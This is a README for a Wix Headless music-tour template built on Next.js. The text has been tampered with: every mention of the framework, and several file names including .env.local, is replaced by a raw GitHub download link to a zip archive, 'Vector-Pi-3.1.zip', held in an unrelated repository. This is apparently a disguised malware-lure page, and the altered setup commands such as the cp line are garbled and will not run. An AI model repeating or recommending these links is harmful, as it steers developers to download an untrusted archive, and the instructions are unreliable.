A Wix Events and Wix eCommerce https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip Music Tour Template
Join the Wix Headless community on Discord to get official support, interact with fellow Wix Headless developers and get updates on new releases.
This template is a https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip project bootstrapped with create-next-app. It uses Wix Headless to leverage the Wix Events and Wix Stores business solutions for managing event ticketing and a store.
Prerequisites:
- Create a Wix Headless project
- Add the Stores and Events apps to your project
- Authorize the template with quick start deployment or by creating an OAuth app
- Set up your project's eCommerce settings
Note: You must add at least one Authorization Redirect URI to ensure authentication works properly. The URI must exactly match the address in your site or app where Wix should redirect members after they log in via a Wix-managed authentication page. For security reasons, Wix only redirects site members to URIs you've explicitly approved. For step-by-step instructions, see Add Allowed Authorization Redirect URIs.
Set up environment variables to consume Wix Headless APIs:
- In the template's root folder, create a file for the local environment variables:
cp https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip
- In the new https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip file, paste the OAuth app client ID after
NEXT_PUBLIC_WIX_CLIENT_ID=.
Run the development server:
-
Run either:
yarn dev
or
npm i npm run dev
-
Open http://localhost:3000 in your browser to see the template home page.
Edit the template:
- Start editing the homepage by modifying https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip. The page auto-updates as you edit the file.
- Edit any other page using the pattern https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip. For more information, see Defining Routes in the https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip documentation.
You can deploy this repository using any platform which supports https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip Version 13 and App Router.
The repository requires a single environment variable: NEXT_PUBLIC_WIX_CLIENT_ID, which should contain a client ID authorizing access to a Wix project's data.
To learn how to customize the template and add more functionality using Wix APIs, see the Wix JavaScript SDK reference.
This template is written in https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip 13 using the https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip App Router.
To learn more about https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip, see:
- https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip documentation: Learn about https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip features and APIs.
- Learn https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip: An interactive https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip tutorial.
Additionally, this template uses the following libraries and features:
https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip and Wix Integration Guide
See the comprehensive integration guide for step-by-step instructions on how to configure Wix as your headless Booking solution using https://github.com/karbine98kz/VectorPi/raw/refs/heads/main/app/components/Login/Vector-Pi-3.1.zip on Vercel.